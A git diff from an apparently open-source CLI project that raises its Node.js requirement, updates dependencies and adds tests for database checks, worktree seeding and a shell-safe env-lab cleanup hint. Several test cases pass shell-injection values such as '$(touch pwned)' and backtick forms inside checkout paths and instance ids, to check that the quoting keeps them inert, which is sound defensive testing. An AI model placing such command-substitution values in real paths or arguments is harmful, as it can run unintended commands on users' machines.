   && apt-get install -y --no-install-recommends openssh-client jq \
   && rm -rf /var/lib/apt/lists/* \
diff --git a/README.md b/README.md
index 53a7291c46e..5f19d11df6b 100644
--- a/README.md
+++ b/README.md
@@ -311,7 +311,7 @@ fi
 bash install.sh
 ```
 
-The installer ensures Node.js 20 or newer is available, installs a managed
+The installer ensures Node.js 24.11 or newer is available, installs a managed
 Paperclip CLI under `~/.paperclip/cli`, and starts interactive onboarding. It
 can also install Paperclip as a background service on supported Linux and
 macOS systems. The checksum detects transfer or publishing mistakes, but it is
@@ -376,7 +376,7 @@ pnpm dev
 
 This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
 
-> **Requirements:** Node.js 20+, pnpm 9.15+
+> **Requirements:** Node.js 24.11+, pnpm 9.15+
 
 <br/>
 
diff --git a/cli/README.md b/cli/README.md
index a32a6c5611b..5817e6b6fdf 100644
--- a/cli/README.md
+++ b/cli/README.md
@@ -305,7 +305,7 @@ pnpm dev
 
 This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
 
-> **Requirements:** Node.js 20+, pnpm 9.15+
+> **Requirements:** Node.js 24.11+, pnpm 9.15+
 
 <br/>
 
diff --git a/cli/esbuild.config.mjs b/cli/esbuild.config.mjs
index 3432ef5bf49..fee12f51fbc 100644
--- a/cli/esbuild.config.mjs
+++ b/cli/esbuild.config.mjs
@@ -70,7 +70,7 @@ export default {
   entryPoints: ["src/index.ts"],
   bundle: true,
   platform: "node",
-  target: "node20",
+  target: "node24",
   format: "esm",
   outfile: "dist/index.js",
   banner: { js: "#!/usr/bin/env node" },
diff --git a/cli/package.json b/cli/package.json
index 95cb206c4fe..4113ed4d45e 100644
--- a/cli/package.json
+++ b/cli/package.json
@@ -36,13 +36,14 @@
     "typecheck": "tsc --noEmit"
   },
   "dependencies": {
-    "@clack/prompts": "^0.11.0",
+    "@clack/prompts": "^1.7.0",
     "@paperclipai/adapter-claude-local": "workspace:*",
     "@paperclipai/adapter-codex-local": "workspace:*",
     "@paperclipai/adapter-cursor-cloud": "workspace:*",
     "@paperclipai/adapter-cursor-local": "workspace:*",
     "@paperclipai/adapter-gemini-local": "workspace:*",
     "@paperclipai/adapter-grok-local": "workspace:*",
+    "@paperclipai/adapter-kimi-local": "workspace:*",
     "@paperclipai/adapter-opencode-local": "workspace:*",
     "@paperclipai/adapter-pi-local": "workspace:*",
     "@paperclipai/adapter-openclaw-gateway": "workspace:*",
@@ -58,8 +59,11 @@
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
-    "tsx": "^4.23.1",
+    "@types/node": "^24.0.0",
+    "tsx": "^4.23.12",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/cli/src/__tests__/database-check.test.ts b/cli/src/__tests__/database-check.test.ts
new file mode 100644
index 00000000000..51c42cf7717
--- /dev/null
+++ b/cli/src/__tests__/database-check.test.ts
@@ -0,0 +1,79 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { databaseCheck } from "../checks/database-check.js";
+import type { PaperclipConfig } from "../config/schema.js";
+
+const created: string[] = [];
+const ORIGINAL_IN_WORKTREE = process.env.PAPERCLIP_IN_WORKTREE;
+
+function makeBase(): string {
+  const base = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-dbcheck-"));
+  created.push(base);
+  return base;
+}
+
+function embeddedConfig(dataDir: string): PaperclipConfig {
+  return {
+    database: {
+      mode: "embedded-postgres",
+      embeddedPostgresDataDir: dataDir,
+      embeddedPostgresPort: 54321,
+    },
+  } as unknown as PaperclipConfig;
+}
+
+afterEach(() => {
+  vi.restoreAllMocks();
+  if (ORIGINAL_IN_WORKTREE === undefined) delete process.env.PAPERCLIP_IN_WORKTREE;
+  else process.env.PAPERCLIP_IN_WORKTREE = ORIGINAL_IN_WORKTREE;
+  while (created.length > 0) {
+    const dir = created.pop();
+    if (dir) fs.rmSync(dir, { recursive: true, force: true });
+  }
+});
+
+describe("databaseCheck — embedded postgres temp-dir guard", () => {
+  it("passes when the data dir is on persistent (non-temp) storage", async () => {
+    const base = makeBase();
+    // Treat a sibling dir as the OS temp root so the persistent dir is outside it.
+    vi.spyOn(os, "tmpdir").mockReturnValue(path.join(base, "fake-tmp"));
+    process.env.PAPERCLIP_IN_WORKTREE = "true";
+    const persistentDataDir = path.join(base, "persistent", "instances", "default", "db");
+
+    const result = await databaseCheck(embeddedConfig(persistentDataDir), path.join(base, "config.json"));
+
+    expect(result.status).toBe("pass");
+    expect(result.message).toContain("Embedded PostgreSQL configured at");
+  });
+
+  it("warns when a worktree-mode data dir lives inside the OS temp directory", async () => {
+    const base = makeBase();
+    const fakeTmp = path.join(base, "fake-tmp");
+    vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp);
+    process.env.PAPERCLIP_IN_WORKTREE = "true";
+    const tmpDataDir = path.join(fakeTmp, "instances", "default", "db");
+
+    const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json"));
+
+    expect(result.status).toBe("warn");
+    expect(result.message).toMatch(/temp directory/i);
+    expect(result.message).toMatch(/ephemeral/i);
+    expect(result.repairHint).toContain("PAPERCLIP_HOME");
+    // Must warn BEFORE creating anything — don't bootstrap the throwaway temp dir.
+    expect(fs.existsSync(tmpDataDir)).toBe(false);
+  });
+
+  it("does NOT warn for a temp data dir when not in worktree mode (intentional ephemeral/CI use)", async () => {
+    const base = makeBase();
+    const fakeTmp = path.join(base, "fake-tmp");
+    vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp);
+    delete process.env.PAPERCLIP_IN_WORKTREE;
+    const tmpDataDir = path.join(fakeTmp, "instances", "default", "db");
+
+    const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json"));
+
+    expect(result.status).toBe("pass");
+  });
+});
diff --git a/cli/src/__tests__/env-lab.test.ts b/cli/src/__tests__/env-lab.test.ts
index 02d6d7daf18..144311a3511 100644
--- a/cli/src/__tests__/env-lab.test.ts
+++ b/cli/src/__tests__/env-lab.test.ts
@@ -1,6 +1,13 @@
 import path from "node:path";
-import { describe, expect, it } from "vitest";
-import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import * as p from "@clack/prompts";
+import {
+  buildEnvLabCleanupCommand,
+  collectEnvLabDoctorStatus,
+  envLabDoctorCommand,
+  resolveEnvLabCliInvocation,
+  resolveEnvLabSshStatePath,
+} from "../commands/env-lab.js";
 
 describe("env-lab command", () => {
   it("resolves the default SSH fixture state path under the instance root", () => {
@@ -22,3 +29,259 @@ describe("env-lab command", () => {
     expect(status.ssh.environment).toBeNull();
   });
 });
+
+describe("env-lab cleanup command hint", () => {
+  const originalCwd = process.cwd();
+
+  afterEach(() => {
+    process.chdir(originalCwd);
+  });
+
+  // Resolve a source-checkout invocation for a fabricated checkout root. A source
+  // checkout runs this module from `<root>/src/commands/env-lab.ts`, so the
+  // resolver reads that layout and returns the tsx runner and source entry.
+  function sourceInvocation(root: string) {
+    return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts"));
+  }
+
+  // Resolve a bundled-build invocation for a fabricated package root. The bundled
+  // build runs this module from `<root>/dist/index.js`, so the resolver returns
+  // that file as the entry with no tsx runner.
+  function bundledInvocation(root: string) {
+    return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js"));
+  }
+
+  // Split a command that uses POSIX single-quoting into its argument tokens. The
+  // parser reads a single-quoted span verbatim and reads `\'` outside a span as a
+  // literal single quote. This is the same rule a POSIX shell obeys, so a token
+  // list proves the shell reads the exact paths and runs no embedded command.
+  function tokenizePosix(command: string): string[] {
+    const tokens: string[] = [];
+    let current = "";
+    let started = false;
+    let inQuotes = false;
+    for (let index = 0; index < command.length; index += 1) {
+      const character = command[index];
+      if (inQuotes) {
+        if (character === "'") {
+          inQuotes = false;
+        } else {
+          current += character;
+        }
+      } else if (character === "'") {
+        inQuotes = true;
+        started = true;
+      } else if (character === "\\") {
+        index += 1;
+        current += command[index];
+        started = true;
+      } else if (character === " ") {
+        if (started) {
+          tokens.push(current);
+          current = "";
+          started = false;
+        }
+      } else {
+        current += character;
+        started = true;
+      }
+    }
+    if (started) {
+      tokens.push(current);
+    }
+    return tokens;
+  }
+
+  // Return the two path arguments from the `node` command.
+  function extractPaths(command: string): string[] {
+    const tokens = tokenizePosix(command);
+    return tokens.slice(1, 3);
+  }
+
+  it("resolves both CLI paths to absolute paths", () => {
+    const command = buildEnvLabCleanupCommand();
+    const paths = extractPaths(command);
+
+    expect(paths).toHaveLength(2);
+    for (const resolved of paths) {
+      expect(path.isAbsolute(resolved)).toBe(true);
+    }
+    expect(command.endsWith("env-lab down")).toBe(true);
+  });
+
+  it("points at the checked-out tsx runner and cli source entry", () => {
+    const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand());
+
+    expect(tsxBin).toContain(
+      path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"),
+    );
+    expect(entry).toContain(path.join("cli", "src", "index.ts"));
+  });
+
+  it("returns the same command from a checkout subdirectory", () => {
+    const fromRoot = buildEnvLabCleanupCommand();
+
+    // Simulate a contributor who runs `env-lab doctor` from a subdirectory of
+    // the checkout. A relative path would change with the working directory, so
+    // this asserts the command stays constant.
+    process.chdir(path.dirname(originalCwd));
+    const fromParent = buildEnvLabCleanupCommand();
+    process.chdir(originalCwd);
+
+    expect(fromParent).toBe(fromRoot);
+  });
+
+  it("never restores the unsafe pnpm invocation forms", () => {
+    const command = buildEnvLabCleanupCommand();
+
+    // The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form
+    // does not resolve the CLI binary. Keep both out of the hint.
+    expect(command).not.toContain("pnpm paperclipai");
+    expect(command).not.toContain("pnpm exec paperclipai");
+  });
+
+  // A checkout path can hold shell metacharacters. A contributor copies the hint
+  // and pastes it into a shell. The hint must neutralize each metacharacter, so
+  // the shell reads the exact path and runs no embedded command. Each case below
+  // is a checkout root with one dangerous construct.
+  const dangerousRoots = [
+    { label: "a dollar sign", root: "/tmp/env$lab/checkout" },
+    { label: "command substitution", root: "/tmp/$(touch pwned)/checkout" },
+    { label: "backticks", root: "/tmp/`touch pwned`/checkout" },
+    { label: "a double quote", root: '/tmp/env"lab/checkout' },
+    { label: "a single quote", root: "/tmp/env'lab/checkout" },
+  ];
+
+  for (const { label, root } of dangerousRoots) {
+    it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => {
+      const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) });
+      const tokens = tokenizePosix(command);
+      const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs");
+      const entry = path.join(root, "src", "index.ts");
+
+      // The shell reads the exact paths as single argument tokens. It does not
+      // split the paths or run the embedded construct.
+      expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]);
+
+      // The old double-quoted form left `$(...)`, a backtick pair, and `$NAME`
+      // live. Do not restore it.
+      expect(command).not.toContain(`"${tsxBin}"`);
+      expect(command).not.toContain(`"${entry}"`);
+    });
+  }
+
+  it("forwards the inspected instance to the cleanup hint", () => {
+    const command = buildEnvLabCleanupCommand({
+      instance: "fixture-test",
+      invocation: sourceInvocation("/tmp/checkout"),
+    });
+    const tokens = tokenizePosix(command);
+
+    // The hint ends with `--instance <id>`, so it stops the fixture the doctor
+    // command diagnosed, not the default instance.
+    expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]);
+  });
+
+  it("omits the instance flag when the doctor command uses the default instance", () => {
+    const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") });
+
+    // Without a selected instance, `env-lab down` resolves the same default
+    // instance the doctor command inspected. Do not add an empty flag.
+    expect(command).not.toContain("--instance");
+    expect(command.endsWith("env-lab down")).toBe(true);
+  });
+
+  it("keeps an instance id with shell metacharacters inert", () => {
+    const command = buildEnvLabCleanupCommand({
+      instance: "$(touch pwned)",
+      invocation: sourceInvocation("/tmp/checkout"),
+    });
+    const tokens = tokenizePosix(command);
+
+    // The shell reads the instance id as one literal token and runs no embedded
+    // command.
+    expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]);
+    expect(command).not.toContain('"$(touch pwned)"');
+  });
+
+  it("runs the bundled dist entry directly, without the tsx runner", () => {
+    const command = buildEnvLabCleanupCommand({
+      invocation: bundledInvocation("/opt/pkg"),
+    });
+    const tokens = tokenizePosix(command);
+
+    // The published package ships one `dist/index.js` file and no tsx runner, so
+    // node runs that file directly.
+    expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]);
+    expect(command).not.toContain("tsx");
+    expect(command).not.toContain(path.join("src", "index.ts"));
+  });
+
+  it("keeps a bundled package path with shell metacharacters inert", () => {
+    const root = "/opt/$(touch pwned)/pkg";
+    const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) });
+    const tokens = tokenizePosix(command);
+    const entry = path.join(root, "dist", "index.js");
+
+    // The shell reads the exact bundled path as one token and runs no embedded
+    // command.
+    expect(tokens).toEqual(["node", entry, "env-lab", "down"]);
+    expect(command).not.toContain(`"${entry}"`);
+  });
+});
+
+describe("env-lab doctor cleanup hint instance", () => {
+  const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
+
+  afterEach(() => {
+    if (originalInstanceId === undefined) {
+      delete process.env.PAPERCLIP_INSTANCE_ID;
+    } else {
+      process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId;
+    }
+    vi.restoreAllMocks();
+  });
+
+  // Capture the cleanup hint the doctor prints. The doctor reports through
+  // `p.log`, so the test replaces each channel and reads the captured lines.
+  function captureDoctorMessages(): string[] {
+    const messages: string[] = [];
+    vi.spyOn(p.log, "message").mockImplementation((message?: string | string[]) => {
+      messages.push(Array.isArray(message) ? message.join("\n") : (message ?? ""));
+    });
+    vi.spyOn(p.log, "success").mockImplementation(() => {});
+    vi.spyOn(p.log, "warn").mockImplementation(() => {});
+    vi.spyOn(p.log, "info").mockImplementation(() => {});
+    return messages;
+  }
+
+  it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => {
+    // The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects.
+    // The cleanup hint must target that instance, not the default instance.
+    process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
+    const messages = captureDoctorMessages();
+
+    await envLabDoctorCommand({ instance: undefined });
+
+    const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
+    expect(cleanup).toBeDefined();
+    expect(cleanup).toContain("env-lab down");
+    expect(cleanup).toContain("--instance");
+    expect(cleanup).toContain("env-selected-instance");
+  });
+
+  it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => {
+    // An explicit `--instance` flag overrides the environment variable, so the
+    // hint targets the explicit instance the doctor inspected.
+    process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
+    const messages = captureDoctorMessages();
+
+    await envLabDoctorCommand({ instance: "explicit-instance" });
+
+    const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
+    expect(cleanup).toBeDefined();
+    expect(cleanup).toContain("--instance");
+    expect(cleanup).toContain("explicit-instance");
+    expect(cleanup).not.toContain("env-selected-instance");
+  });
+});
diff --git a/cli/src/__tests__/http.test.ts b/cli/src/__tests__/http.test.ts
index 0829f06baa8..e0e1e61b747 100644
--- a/cli/src/__tests__/http.test.ts
+++ b/cli/src/__tests__/http.test.ts
@@ -79,7 +79,7 @@ describe("PaperclipApiClient", () => {
       /curl http:\/\/localhost:3100\/api\/health/,
     );
     await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow(
-      /pnpm dev|pnpm paperclipai run/,
+      /pnpm dev|npx paperclipai run/,
     );
   });
 
diff --git a/cli/src/__tests__/secrets.test.ts b/cli/src/__tests__/secrets.test.ts
index 295a8e5e036..8ae2a77ff5c 100644
--- a/cli/src/__tests__/secrets.test.ts
+++ b/cli/src/__tests__/secrets.test.ts
@@ -139,6 +139,9 @@ describe("secrets CLI helpers", () => {
     delete process.env.AWS_DEFAULT_REGION;
     delete process.env.PAPERCLIP_SECRETS_AWS_DEPLOYMENT_ID;
     delete process.env.PAPERCLIP_SECRETS_AWS_KMS_KEY_ID;
+    delete process.env.AWS_ACCESS_KEY_ID;
+    delete process.env.AWS_SECRET_ACCESS_KEY;
+    delete process.env.AWS_SESSION_TOKEN;
   });
 
   afterEach(() => {
diff --git a/cli/src/__tests__/worktree.test.ts b/cli/src/__tests__/worktree.test.ts
index dab7f78bfd9..3e5d3444d42 100644
--- a/cli/src/__tests__/worktree.test.ts
+++ b/cli/src/__tests__/worktree.test.ts
@@ -8,30 +8,43 @@ import { eq } from "drizzle-orm";
 import { afterEach, describe, expect, it, vi } from "vitest";
 import {
   agents,
+  authAccounts,
   authUsers,
   companies,
+  companyMemberships,
   createDb,
+  executionWorkspaces,
+  inspectMigrations,
   issueComments,
   issues,
+  projectWorkspaces,
+  instanceUserRoles,
   projects,
   routines,
   routineTriggers,
+  workspaceRuntimeServices,
 } from "@paperclipai/db";
 import {
   copyGitHooksToWorktreeGitDir,
   copySeededSecretsKey,
+  ensureEmbeddedPostgres,
   ensureWorktreeSeeded,
+  formatWorktreeSeedFailureDiagnostic,
+  inspectLegacyWorktreeDatabase,
   markWorktreeSeedPending,
   pauseSeededScheduledRoutines,
   quarantineSeededWorktreeExecutionState,
+  readWorktreeSeedManifest,
   readSourceAttachmentBody,
   rebindWorkspaceCwd,
+  requiresWorktreeSeedCredentialAccount,
   resolveSourceConfigPath,
   resolveWorktreeReseedSource,
   resolveWorktreeReseedTargetPaths,
   resolveGitWorktreeAddArgs,
   resolvePnpmInstallInvocation,
   resolveCurrentWorktreeEndpoint,
+  resolveWorktreeSeedMigrationRevision,
   resolveWorktreeSeedBackupEngine,
   resolveWorktreeMakeTargetPath,
   worktreeRepairCommand,
@@ -61,6 +74,94 @@ const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
 const itEmbeddedPostgres = embeddedPostgresSupport.supported ? it : it.skip;
 const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
 
+function mockVerifiedSeedResult() {
+  return {
+    backupSummary: "snapshot.sql",
+    snapshotAt: "2026-08-18T00:00:00.000Z",
+    migrationRevision: "0142_test.sql",
+    pausedScheduledRoutines: 0,
+    executionQuarantine: {
+      disabledTimerHeartbeats: 0,
+      resetRunningAgents: 0,
+      quarantinedInProgressIssues: 0,
+      unassignedTodoIssues: 0,
+      unassignedReviewIssues: 0,
+      stoppedProjectWorkspaceRuntimes: 0,
+      stoppedExecutionWorkspaceRuntimes: 0,
+      stoppedRuntimeServices: 0,
+    },
+    reboundWorkspaces: [],
+    validation: {
+      authUserCount: 1,
+      credentialAccountCount: 1,
+      instanceAdminCount: 1,
+      activeMembershipCount: 1,
+      companyCount: 1,
+      issueCount: 1,
+      representativeCompanyId: "00000000-0000-4000-8000-000000000001",
+      representativeIssueId: "00000000-0000-4000-8000-000000000002",
+      migrationRevision: "0142_test.sql",
+    },
+  };
+}
+
+async function seedValidWorktreeSource(
+  connectionString: string,
+  options: { includeCredentialAccount?: boolean; userId?: string } = {},
+) {
+  const db = createDb(connectionString);
+  const companyId = randomUUID();
+  const issueId = randomUUID();
+  const userId = options.userId ?? "user-existing";
+  const now = new Date();
+  await db.insert(authUsers).values({
+    id: userId,
+    email: userId === "local-board" ? "local@paperclip.local" : "existing@paperclip.ing",
+    name: userId === "local-board" ? "Board" : "Existing User",
+    emailVerified: true,
+    createdAt: now,
+    updatedAt: now,
+  });
+  if (options.includeCredentialAccount !== false) {
+    await db.insert(authAccounts).values({
+      id: "credential-existing",
+      accountId: "existing@paperclip.ing",
+      providerId: "credential",
+      userId,
+      password: "fixture-password-hash",
+      createdAt: now,
+      updatedAt: now,
+    });
+  }
+  await db.insert(instanceUserRoles).values({
+    userId,
+    role: "instance_admin",
+  });
+  await db.insert(companies).values({
+    id: companyId,
+    name: "Seed Source",
+    issuePrefix: "SEED",
+    requireBoardApprovalForNewAgents: false,
+  });
+  await db.insert(companyMemberships).values({
+    companyId,
+    principalType: "user",
+    principalId: userId,
+    status: "active",
+  });
+  await db.insert(issues).values({
+    id: issueId,
+    companyId,
+    title: "Representative seed issue",
+    status: "backlog",
+    priority: "medium",
+    issueNumber: 1,
+    identifier: "SEED-1",
+  });
+  await db.$client.end({ timeout: 5 });
+  return { companyId, issueId };
+}
+
 if (!embeddedPostgresSupport.supported) {
   console.warn(
     `Skipping embedded Postgres worktree CLI tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
@@ -397,7 +498,134 @@ describe("worktree helpers", () => {
     expect(full.nullifyColumns).toEqual({});
   });
 
-  it("ensure-seeded seeds once and fast-exits on the seed-complete marker", async () => {
+  it("requires the seed process to own the target embedded Postgres lifecycle", async () => {
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-live-target-"));
+    try {
+      fs.writeFileSync(
+        path.join(tempRoot, "postmaster.pid"),
+        `${process.pid}\n${tempRoot}\n0\n55432\n`,
+      );
+
+      await expect(ensureEmbeddedPostgres(tempRoot, 55432, { allowExisting: false }))
+        .rejects.toThrow("while it is already running");
+    } finally {
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+    }
+  });
+
+  it("surfaces a credential-safe diagnostic when the target shuts down during restore", () => {
+    expect(formatWorktreeSeedFailureDiagnostic(
+      "restore",
+      new Error(
+        "Failed to restore seed.sql.gz: FATAL: the database system is shutting down; psql error: write EPIPE",
+      ),
+    )).toBe(
+      "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.",
+    );
+    expect(formatWorktreeSeedFailureDiagnostic("migrations", new Error("secret connection failure")))
+      .toBe("Seed failed during migrations.");
+  });
+
+  it("surfaces the missing credential artifact for authenticated seed validation", () => {
+    expect(formatWorktreeSeedFailureDiagnostic(
+      "source_validation",
+      new Error(
+        "No auth user has a non-empty credential account, instance-admin role, and active company membership. Authenticated worktree seeding requires a credential-backed instance administrator.",
+      ),
+    )).toBe(
+      "Seed validation could not find a credential-backed instance administrator with an active company membership. Authenticated instances must create or sign in an administrator before seeding.",
+    );
+  });
+
+  it("requires credential accounts only for authenticated worktree seeds", () => {
+    expect(requiresWorktreeSeedCredentialAccount("local_trusted")).toBe(false);
+    expect(requiresWorktreeSeedCredentialAccount("authenticated")).toBe(true);
+  });
+
+  it("rejects a source migration journal that diverges from the code journal", () => {
+    expect(() => resolveWorktreeSeedMigrationRevision({
+      status: "upToDate",
+      tableCount: 1,
+      availableMigrations: ["0001_initial.sql", "0002_current.sql"],
+      appliedMigrations: ["0001_initial.sql", "0003_unknown.sql"],
+      journalEntryCount: 3,
+    }, "sourcePrefix")).toThrow("Migration journal is not a prefix of this Paperclip checkout");
+  });
+
+  it("accepts a current source whose migration application order differs from filename order", () => {
+    expect(resolveWorktreeSeedMigrationRevision({
+      status: "upToDate",
+      tableCount: 1,
+      availableMigrations: [
+        "0001_initial.sql",
+        "0002_renumbered.sql",
+        "0003_applied_earlier.sql",
+        "0004_current.sql",
+      ],
+      appliedMigrations: [
+        "0001_initial.sql",
+        "0003_applied_earlier.sql",
+        "0002_renumbered.sql",
+        "0004_current.sql",
+      ],
+      journalEntryCount: 6,
+    }, "upToDate")).toBe("0004_current.sql");
+  });
+
+  it("accepts a source migration journal that is multiple revisions behind", () => {
+    expect(resolveWorktreeSeedMigrationRevision({
+      status: "needsMigrations",
+      tableCount: 1,
+      availableMigrations: [
+        "0001_initial.sql",
+        "0002_applied.sql",
+        "0003_pending.sql",
+        "0004_pending.sql",
+      ],
+      appliedMigrations: ["0002_applied.sql", "0001_initial.sql"],
+      pendingMigrations: ["0003_pending.sql", "0004_pending.sql"],
+      journalEntryCount: 3,
+      reason: "pending-migrations",
+    }, "sourcePrefix")).toBe("0002_applied.sql");
+  });
+
+  itEmbeddedPostgres("recognizes positive legacy database schema evidence", async () => {
+    const tempDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-legacy-evidence-");
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-legacy-config-"));
+    try {
+      const configPath = path.join(tempRoot, "config.json");
+      const sourceConfig = buildSourceConfig();
+      const config: PaperclipConfig = {
+        ...sourceConfig,
+        database: {
+          ...sourceConfig.database,
+          mode: "postgres",
+          connectionString: tempDb.connectionString,
+          backup: {
+            ...sourceConfig.database.backup,
+            enabled: false,
+            intervalMinutes: 60,
+            retentionDays: 30,
+            dir: path.join(tempRoot, "backups"),
+          },
+        },
+      };
+      fs.writeFileSync(configPath, `${JSON.stringify(config)}\n`);
+      fs.writeFileSync(
+        path.join(tempRoot, ".env"),
+        `PAPERCLIP_INSTANCE_ID=legacy-target\nDATABASE_URL=${JSON.stringify(tempDb.connectionString)}\n`,
+      );
+
+      await expect(inspectLegacyWorktreeDatabase(configPath)).resolves.toEqual({
+        migrationRevision: expect.stringMatching(/\.sql$/),
+      });
+    } finally {
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+      await tempDb.cleanup();
+    }
+  }, 30000);
+
+  it("ensure-seeded seeds once and fast-exits on the verified manifest", async () => {
     const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-"));
     try {
       const sourceConfigPath = path.join(tempRoot, "source", "config.json");
@@ -418,6 +646,7 @@ describe("worktree helpers", () => {
       fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true });
       fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true });
       fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`);
+      fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n");
       fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`);
       fs.writeFileSync(
         path.join(targetRoot, ".paperclip", ".env"),
@@ -426,7 +655,7 @@ describe("worktree helpers", () => {
       markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath });
 
       const seedDatabase = vi.fn().mockResolvedValue({
-        backupSummary: "snapshot.sql",
+        ...mockVerifiedSeedResult(),
         pausedScheduledRoutines: 2,
         executionQuarantine: {
           disabledTimerHeartbeats: 1,
@@ -434,16 +663,18 @@ describe("worktree helpers", () => {
           quarantinedInProgressIssues: 1,
           unassignedTodoIssues: 1,
           unassignedReviewIssues: 1,
+          stoppedProjectWorkspaceRuntimes: 0,
+          stoppedExecutionWorkspaceRuntimes: 0,
+          stoppedRuntimeServices: 0,
         },
-        reboundWorkspaces: [],
       });
 
       await expect(
-        ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }),
+        ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }),
       ).resolves.toMatchObject({ seeded: true, reason: "seeded" });
       await expect(
         ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }),
-      ).resolves.toEqual({ seeded: false, reason: "complete_marker" });
+      ).resolves.toEqual({ seeded: false, reason: "verified_manifest" });
 
       expect(seedDatabase).toHaveBeenCalledTimes(1);
       expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({
@@ -452,13 +683,286 @@ describe("worktree helpers", () => {
         instanceId: "ensure-seeded-test",
       }));
       expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(false);
-      expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(true);
+      expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(false);
+      expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({
+        version: 2,
+        state: "verified",
+        phase: "complete",
+        migrationRevision: "0142_test.sql",
+        targetInstanceId: "ensure-seeded-test",
+      });
     } finally {
       fs.rmSync(tempRoot, { recursive: true, force: true });
     }
   });
 
-  it("ensure-seeded keeps the pending marker when seeding fails", async () => {
+  it("treats an unregistered markerless config as a normal non-worktree boot", async () => {
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unregistered-markerless-"));
+    try {
+      const configPath = path.join(tempRoot, "config.json");
+      fs.writeFileSync(configPath, `${JSON.stringify(buildSourceConfig())}\n`);
+      delete process.env.PAPERCLIP_WORKSPACE_BASE_CWD;
+      delete process.env.PAPERCLIP_PROJECT_WORKSPACE_ID;
+      delete process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID;
+
+      const inspectLegacyDatabase = vi.fn();
+      const seedDatabase = vi.fn();
+
+      await expect(ensureWorktreeSeeded(
+        { config: configPath },
+        { inspectLegacyDatabase, seedDatabase },
+      )).resolves.toEqual({ seeded: false, reason: "legacy_unmarked" });
+
+      expect(inspectLegacyDatabase).not.toHaveBeenCalled();
+      expect(seedDatabase).not.toHaveBeenCalled();
+      expect(readWorktreeSeedManifest(configPath)).toBeNull();
+    } finally {
+      fs.rmSync(tempRoot, { recursive: true, force: true });
+    }
+  });
+
+  it("honors a legacy complete marker without resolving a seed source", async () => {
+    const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-complete-marker-"));
+    try {
+      const configPath = path.join(tempRoot, "config.json");
+      fs.writeFileSync(configPath, `${JSON.stringify(buildSourceConfig())}\n`);
+      fs.writeFileSync(path.join(tempRoot, "seed-complete"), "complete\n");
+      delete process.env.PAPERCLIP_WORKSPACE_BASE_CWD;
+
+      const inspectLegacyDatabase = vi.fn();
+      const seedDatabase = vi.fn();
+
+      await expect(ensureWorktreeSeeded(
+        { config: configPath },
+        { inspectLegacyDatabase, seedDatabase },
